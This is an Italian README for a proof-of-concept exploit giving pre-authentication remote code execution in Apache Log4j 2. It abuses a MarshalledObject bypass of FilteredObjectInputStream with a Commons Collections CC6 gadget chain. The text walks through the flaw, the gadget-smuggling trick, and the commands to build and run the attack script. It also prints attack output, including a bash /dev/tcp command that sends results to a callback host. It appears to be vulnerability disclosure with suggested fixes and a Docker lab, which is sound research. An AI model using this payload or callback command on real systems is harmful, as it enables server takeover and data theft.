
RCE pre-autenticazione tramite bypass di MarshalledObject in FilteredObjectInputStream in Apache Log4j 2
RCE pre-autenticazione su qualsiasi servizio Java che deserializza LogEvent tramite FilteredObjectInputStream di Log4j. Nessuna credenziale richiesta.
Segnalato come GitHub issue #4255 il 24 agosto 2026.
Log4j include FilteredObjectInputStream (FOIS) come wrapper di deserializzazione sicuro. Sovrascrive resolveClass() con una lista consentita così che solo org.apache.logging.log4j.*, java.lang.*, java.util.* e poche classi esplicite possano passare.
Una di quelle classi esplicite è java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- il problema
...);
MarshalledObject.get() crea internamente un nuovo, semplice ObjectInputStream. Nessun filtro. Qualsiasi cosa avvolta dentro un MarshalledObject viene deserializzata senza alcuna restrizione, bypassando completamente la lista consentita.
Log4j stesso esegue questo wrapping. LogEventProxy (il proxy di serializzazione per ogni LogEvent) memorizza il messaggio dell'evento in un campo MarshalledObject<Message>. Durante la deserializzazione, chiama marshalledMessage.get() per recuperare il messaggio. Quella chiamata crea lo stream senza filtro. Fine della partita.
Il filtro vede solo i descrittori di classe di primo livello nello stream:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS controlla LogEventProxy (pacchetto log4j, consentito), MarshalledObject (nella lista consentita) e byte[] (primitivo). Tutti passano. La catena di gadget CC6 è nascosta dentro MarshalledObject.objBytes come byte grezzi. FOIS non la vede mai.
Quando viene eseguito LogEventProxy.readResolve():
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // ObjectInputStream senza filtro
} catch (final Exception ex) {
// ignorami
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() crea un semplice ObjectInputStream, la catena CC6 si attiva e il comando viene eseguito. Il blocco catch inghiotte la ClassCastException quando il risultato del gadget non è un Message, quindi il server risponde normalmente. Nessun errore, nessuna voce di log.
Per confronto, ObjectMessage lo fa correttamente:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // crea uno stream interno FILTRATO
}
LogEventProxy dovrebbe usare lo stesso pattern ma non lo fa.
Attaccante Target (ricevitore basato su FOIS)
| |
| HTTP POST /log |
| Body: LogEventProxy serializzato |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ pacchetto log4j
| ├── resolveClass(MarshalledObject) ✓ lista consentita
| └── resolveClass(byte[]) ✓ primitivo
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) NESSUN FILTRO
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
Il server risponde 200 e processa l'evento come se nulla fosse successo.
Il trucco è inserire la catena CC6 dentro MarshalledObject.objBytes senza che si attivi prematuramente.
GadgetMessage implementa Message e sovrascrive writeReplace() per restituire il gadget CC6:
Log4jLogEvent con GadgetMessage come messaggio.LogEventProxy.writeObject() chiama marshall(message), che inserisce GadgetMessage nel costruttore di MarshalledObject.GadgetMessage. writeReplace() scatta e sostituisce con l'HashSet CC6.MarshalledObject.objBytes contiene la catena CC6. GadgetMessage non appare mai sul filo.GadgetMessage esiste solo lato attaccante. Non deve essere presente nel classpath del target.
| Componente | Vulnerabile |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 fino a 2.24.3 |
log4j-core (campo MarshalledObject di LogEventProxy) | 2.8.0 fino a 2.24.3 |
Il target necessita anche di una libreria di gadget nel classpath. Questa PoC usa Commons Collections 3.2.1 (catena CC6).
Requisiti: Java 11+, Maven, Python 3.10+, Docker (solo lab vittima)
Costruisci e avvia la vittima:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
Costruisci l'exploit (o lascia che poc.py lo faccia al primo avvio):
cd exploit && mvn package -q -DskipTests && cd ..
Esegui:
# --lhost è il tuo IP raggiungibile dal target
# per il lab Docker sullo stesso host, usa l'IP del bridge docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
Output:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserializzato
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
Porta di callback personalizzata:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
mvn package in exploit/ per compilare PayloadGenerator e scaricare le dipendenze. Viene saltato nelle esecuzioni successive.java -cp exploit/target/... PayloadGenerator <cmd> sull'host. Produce un LogEvent serializzato in base64 con CC6 dentro un MarshalledObject.--lport (default 9999) per ricevere l'output del comando./log del target./dev/tcp.log4j2-rce/
├── README.md
├── poc.py # script exploit
├── exploit/ # attaccante (gira sull'host)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message con writeReplace()
└── lab/ # vittima (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # endpoint HTTP che usa FOIS
lab/ è la vittima. HttpLogReceiver è un ricevitore di log HTTP che usa FilteredObjectInputStream. Configurazione predefinita, nessun flag di debug, nessuna debolezza artificiale. Commons Collections nel classpath come dipendenza transitiva realistica.
exploit/ è lo strumento dell'attaccante. PayloadGenerator costruisce il payload serializzato sull'host. Non tocca mai il container vittima.
java.rmi.MarshalledObject da REQUIRED_JAVA_CLASSES.MarshalledObject<Message> in LogEventProxy con un byte[] serializzato tramite SerializationUtil.writeWrappedObject() / readWrappedObject(). È lo stesso pattern che ObjectMessage già usa correttamente.CC 3.2.1 e precedenti: InvokerTransformer si serializza liberamente. CC6 funziona così com'è.
CC 3.2.2 (novembre 2015): Aggiunta una protezione di serializzazione in InvokerTransformer che blocca la catena a meno che org.apache.commons.collections.enableUnsafeSerialization sia true.
Il bypass del filtro esiste indipendentemente dalla versione di CC. La protezione di CC è difesa in profondità a livello di gadget, non una soluzione per il filtro rotto. Qualsiasi altra libreria di gadget senza protezione (Groovy, BeanShell, Spring Beans, ecc.) abilita lo stesso attacco.
docker rm -f fois-lab
docker rmi fois-bypass-lab
Solo per test autorizzati. Ottieni il permesso scritto prima di eseguirlo contro qualsiasi cosa che non possiedi.